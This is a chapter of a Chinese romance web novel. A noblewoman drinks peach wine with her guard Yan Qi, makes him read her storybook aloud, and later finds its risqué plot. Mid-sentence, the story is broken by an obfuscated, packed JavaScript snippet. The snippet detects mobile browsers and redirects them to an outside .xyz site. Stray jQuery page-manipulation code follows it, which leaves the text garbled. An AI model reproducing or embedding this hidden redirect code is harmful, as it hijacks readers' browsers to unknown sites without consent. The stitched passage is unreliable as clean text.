“欸,你做什么呢。”她恼道。
正兴起时冷不丁被人打断,李昭容很不高兴,忙起身伸手去夺。
可晏柒非但没有还给她,还十分自然地将书收入怀中,淡声反问:“不是说邀我一起吃?肉快凉了。”
她略带埋怨地盯着他怀里露出的书册一角,闻言,想也不想便道:“你先吃就是了,都说了不要等我,我待会儿再吃。”
他不置可否,只是抬眸看了眼天色,皱眉道:“戌时了,半个时辰之前,你的侍女已经回房休息了。”
言下之意,下人都已经忙完去歇息了,而主子却还没用晚膳。
李昭容一愣。
她不是不知好歹,自然能听出话里的关心,只是以往忙碌起来的时候,她也经常因为看账而耽误了吃饭,所以身边的丫鬟包括夏桃在内,往往见劝说不动后,也都无奈随她去了,然后另外吩咐厨房的人准备些宵夜给她。
所以,是万万不会有人敢像晏柒这样,直接强势打断她手里的事,让她去吃饭的。
说实话……还怪不习惯的。
但转念一想,又毕竟是好意。
罢了。
她恋恋不舍地收回盯着他怀中书册的目光,扫了周围一眼。
太阳早已落下,入夜后,天色便暗了下来,只留一轮弯月孤零零地挂在黑漆漆的夜幕上,甚是黯淡。
幸而院子四周檐下燃了烛火,旁边也放了几盏灯笼,照得整座院落都亮堂堂的。
几步外的地方,不知何时置了张矮桌,上面摆着两双碗筷,并一壶酒,应是夏桃怕她光吃鹿肉口渴而特意准备的。
只是原本该是颇有雅趣的一顿晚膳,却因她沉迷话本子耽误了太久,桌旁边的炉子里的炭火看起来已经烧了许长时间,表面满是燃后的灰烬,只偶尔才从里头蹦出三两个火星。
她视线一扫,留意到了桌上的其中一只碗里堆了些烤好的肉片,热气已经散到几乎可以忽略不计,而另一只碗里干干净净,显然它的主人未曾用过,一直在等。
等的人不言而喻。
见状,她难得心里有些过意不去,明明是自己邀了人一起吃饭,最后却把人孤零零地抛在一边,好像确实不太好。
而这一会儿的工夫,晏柒收了她的书之后,已经径直走到了那张矮桌边,无言的目光看向她,似是在说——
还不过来?
于是,待她反应过来时,屁股便已经下意识地挪到他对面的另一张矮凳上坐下了。
李昭容:“……”
她为什么要这么听话?感觉哪里怪怪的。
见她坐下,晏柒拿起碳炉旁的长木箸,重新夹了盘子里的生鹿肉放到炙石上烤,而她低头望着自己碗里看起来有些熟过头的肉片,挟了一块尝了下,随即嫌弃地皱起眉。
大概是之前因为等她反复烤了许多次,鹿肉硬到已经有些咬不动了,吃起来又干又柴,还有些堵嗓子。
她忙倒了杯酒,就着酒液,把嘴里难吃的肉艰难咽了下去。
清凉的酒甫一入喉,她的眼神便亮了亮,原以为只是普普通通的清酒,入口才知竟是桃子酿的,酒液十分顺滑,喝完连唇舌都泛着淡淡的水果甜香,隐隐有种熟悉感。
她舔了舔唇,回味着这股香气,渐渐记了起来。
她的庄子名下有几处果园,其中有处就种了片桃树林,之前桃子成熟的时候,底下的下人们采了几篮送到她院里,她尝了些觉得味道不错,又听闻每年这些果园的收成实际上半数是卖不掉的,积年累月不知浪费了凡几,觉得可惜,便让夏桃吩咐了下去,让今后把剩余的果子全都拿去酿酒。
当时只是随口一说,没想到,这才过了多久,竟就已经酿好出了窖。
没忍住,她又喝了杯,只是待低头瞧见碗里的肉片时,眼中又带上了嫌弃之色。
见对面的晏柒正侧身拿着长木箸翻动烤得滋滋作响的新鲜鹿肉,并没注意这里,鬼使神差的,她心里突然生起了坏主意,面上不动声色,手下却趁机把自己碗里冷掉的肉片挟去了他空空如也的碗里。
只是刚一伸手,便被人头也不回地攥住了手腕。
他身形未动,瞥了她一眼:“做什么?”
想干坏事却被当场抓包的感觉十分尴尬。
但李昭容也只尴尬了一瞬,随即便脸不红心不跳地说:“看你等我太久,肯定饿了,所以先让给你吃啊,怎么了?”
“我这是关心你,你可别不识好人心。”她拧起了眉,故意倒打一耙道。
他顿了顿,垂眸扫了眼她的碗。
在这种好似看透一切的目光下,她渐渐有些赧然。也是她两杯果酒下肚昏了头了,哪有人愿意吃别人不要的食物呢?
只是没等她搪塞说是玩笑话,他却先一步松开了钳住她的手。
嗯?
他将他的碗推过来,看了眼拿着筷子愣在半空的她,道:“不是说关心我吗?怎么不动了?”
“……”李昭容轻咳两声。
这可是他自己说的,她可没有故意欺负人。
于是,有了台阶,她十分心安理得地把那堆烤过头的肉片一股脑儿地倒进了那只被推过来的碗里。
以及,把接下来所有被烤糊了烤坏了和自己吃不下的鹿肉通通挟给了他。
他也不推拒,沉默地全盘接受了。
主仆气氛一时间十分温馨和谐,直到她再次挟了块烤焦的鹿肉扔进对面的碗里时,随口说了句:“你之前受了伤,身体肯定还没恢复好,还虚着呢,就该多吃点补一补。”
对面的男人拿着筷子的手指顿时一僵。
她自是察觉到了,见状先是不解,随后立马反应了过来。
也是她记性不好,都差点儿忘了,晏柒到现在还喝着那有副作用的药呢,那她刚刚说的话不是摆明了故意戳人痛处伤人自尊么?尽管她并没有这个意思。
见他一直沉默不语,她忍不住有些懊恼,拍了拍自己乱说话的嘴巴。
不过,那药的药效居然真的有这么好么?
念头一起,她便没能忍住好奇,装作不经意地往下瞟了瞟,却立马被敏锐的他捕捉到了视线,当即黑了脸,沉沉的眸子略带警告地看了她一眼。
行吧,堂堂一大男人,还怪小气巴拉的。
她撇了撇嘴,腹诽了句,无趣地收回视线,又给自己倒了杯果酒。
不知不觉,夜渐深。
一旁的碳炉里火星已灭,酒菜皆尽,也到了该回房洗漱歇息的时候。
只是没等她顶着晕乎乎的脑袋往厢房方向踉跄走几步,便突然记起了什么,眉毛一拧,转身拦住了同样准备回房的晏柒。
她扯住他的袖子不让他走,伸手道:“东西还我。”
新酿的果酒劲头足,刚刚晏柒被她灌了几杯,看起来反应也比平时迟钝了不少,听见她的话后,剑眉轻蹙,似是有些疑惑,道:“……什么东西?”
“还装不知道。”
听见他的语气,她有些不高兴。
许是人在喝了酒之后的气性就格外的大,耐心也格外的少,一听他竟然敢装糊涂反问,她十分不满,干脆直接上手去他身上摸索:“我那话本子呢?不是你拿走的么?快还给我,我还没看完呢。”
他似是被她突如其来的动作惊住,连忙拦她。
见他还敢阻止,她也来了脾气,扯着他的衣服非要亲手把自己的书拿回来。
纠缠下,几步踉跄,结果双双摔在了地上。
她摔到了他硬邦邦的胸膛上,撞得鼻头一酸,本就晕乎的脑袋这下子更是天旋地转,一时间便没注意到头顶男人的眼神已然恢复了清明。
她蔫蔫地趴在他身上,难受地捂住嘴巴:“想吐。”
头顶沉默了会儿,随后传来一声叹气。
一双手扶着她慢慢坐起身,然后在她背上安抚似的轻轻拍了拍,帮她顺气。
夜晚带着一点凉意的空气灌入喉中,晕眩的感觉渐渐平复了下去。
她松开捂住嘴巴的手,转头看他。
眼前男人的眸子分明是漆黑一片望不见底的,和黑沉沉的夜幕一样,明明该是冰凉不带一丝温度的,可她却好似从中瞧出了几分温柔的意味。
他并不说话,就这么静静地任她看着。
她拧眉盯着他的眼睛打量了会儿,忽然伸手朝下抓去。
“我就说我的话本子被你藏身上了,呵,还不承认。”
看见他瞬间微变的脸色,她心下忍不住得意。
以为她喝多了酒就没发现?不存在的。她方才就眼尖地注意到了,夏天的衣裳单薄,唯独那块衣裳看起来有些不平整,她便猜到,他定然是把东西藏在了那里。
“……松、手。”他绷紧了身躯,从唇缝中溢出的声音一字一顿道。
“你拿我东西还敢叫我松手?”
她有些生气,之前兴致被打断的怨气又浮了上来,抱怨道:“要不是你不让我看,非逼着我吃饭,我现在早就知道故事结局了。”
越说,她便越觉得自己才是那个受了委屈的人,便越发使了力气,一心只想夺回属于自己的东西。
场面一度僵持,谁都不肯退让。
她不高兴地拉着嘴角,执拗地瞪着他。
和喝醉酒的人是没有道理可言的,晏柒大抵也是明白过来这个道理,片刻,忍住额角直跳的青筋,缓了语气道:“你松手,我拿给你。”
就这?她并不满意这个轻飘飘的回答,拧眉谴责地继续瞪着他。
做错事的人应该要用实际行动道歉
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16400708|175965||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
才对,他不仅耽误了她看话本子,而且先前还拒绝把书还给她,实在可恶。
而且现下就算他把书还给她,以她目前昏昏沉沉的脑袋,怕是一个字也看不了,只能带着看不到故事后续的抓心挠肺的难受,遗憾地睡了。
这要如何赔她?
“……”他似是读懂了她眼中的意思,顿了顿,半晌,似是无奈又似是妥协道,“你想看哪里,我念给你听。”
这还差不多。
她矜持地颔首,松手指了指旁边的小矮凳,示意他别磨叽,赶紧坐下给她念。
绷紧的身躯放松,他定了定神,终于拿出了那册让她心心念念的书,迎着昏黄月色,翻开。
而后定住。
半晌没等来声音,见他捧着她的书一动不动,她不高兴地催道:“快念呀。”
似是被她的声音唤回神,他的视线从书页缓缓移到了她的身上,眼中情绪复杂难辨。
终于,在她的再三催促下,他开了口。
喑哑的男声低低地在院中响起,像是安静夜里的催眠曲,只一会儿,她的上下眼皮便忍不住互相打起了架。
许是察觉了她在偷偷打瞌睡,他的声音忽而顿住。
她耳尖地听见了,眼也不睁地命令道:“继续,不许停。”
晏柒:“……”
空气中似有一声叹气传来,随后,念书的声音继续了下去。
伴着那道声音,不知不觉,她便迷迷糊糊地睡了过去,待再醒来时,已是次日晌午。
宿醉的脑袋依旧有些昏昏沉沉,她撑着胳膊从厢房的床榻上慢慢坐起身,无精打采地靠在床头。
果然就算桃子酒再怎么好喝,也不该贪杯的。
她心下懊恼,揉了揉自己泛疼的额角,缓了会儿,想从床榻上起身下来,胳膊却冷不丁碰到了什么东西。
拿起一看,正是昨日夏桃带回来的那话本子。
刚刚起床尚未完全清醒的脑袋有些懵,片刻她方才回神,拧眉仔细想了想。
后来的和尚和女主到底怎么了来着?难道她昨日竟没往下继续看吗?怎么一点儿都想不起来了?
她心下有些犯嘀咕,蹙眉翻开书册,沿着自己印象里最后留下的情节一页页找过去,然后随手往后翻了翻。
只是这粗粗一扫,便让她僵住了视线。
故事的后续,在村民恶意的煽动下,彻底动怒的和尚狠下心,竟真的要取女主性命。
而女主重伤濒死之际,再也维持不住人形,便在众人的眼皮底下露出了真身——
却是一只通体雪白的极为罕见的鹿妖。
世人皆知,鹿妖性温亲人,为善,但原身大多都是带着斑点的棕黄色或是黑色,白色乃万中之一的异变,下场通常是被同类厌恶驱逐,所以女主才宁愿咬牙被误会也不肯露出真身。
但实际上,通体雪白的鹿在古籍中被记载为雪鹿,从皮肉乃至骨血皆为上等补品,不仅可医重伤之人,对男子不举之症尤为效果明显。
而村子之所以死气沉沉,便是因为村里所有的男子皆患上了此等羞于启齿的病,所以才会在女主医治好他们后立马倒打一耙,想要趁机逼死女主,好让这个不足为外人道也的羞耻秘密永远地埋入土里。
当然,后来和尚查清了,是村里赖以为生的水源出了问题,才致使村民们患了这种病。
可那时,和尚早已带着重伤的女主离开,临走前,出于不为人知的隐秘心思,也并没有告知村民们真相。
而没了女主继续医治的村落渐渐的,又重新变回了过去的一片死气沉沉,因后继无嗣,许多年后,最终根脉断绝,空无一人,成了无人造访的荒蛮之地。
至于和尚和女主……
因心怀愧疚,以及一些暗藏心底的不可说的心思,和尚历经艰险主动寻来古籍,誓要医好重伤的女主,为此不惜破了自己从小修道的禁欲之身。
可女主被伤这么多次,早已心死,对待和尚的态度也变得十分冷淡,甚至几番从和尚身边逃脱,去寻其他男子,扬言宁愿与其他男子双修疗伤,也不想再见和尚一面。
后面,便是二人你追我赶羞羞臊臊的情节了。
李昭容:“……”
这后头怎么画风突变,尽是些如此不正经的内容?
模模糊糊的记忆里,似有人无奈叹息,翻着书页,在她耳边缓缓道来。
僵硬的手指动了动,她好像有些记起来了。
难道昨夜里,她就是这样扯着晏柒的袖子,威逼他念这种不堪入目的东西给自己听?
低头望着眼前的书页,她觉得自己有些晕,那些字仿佛都化作了那一句句的低沉男声,挡不住地钻入她脑海里,萦绕不散。
她拿着话本子的手陡然酥麻了下。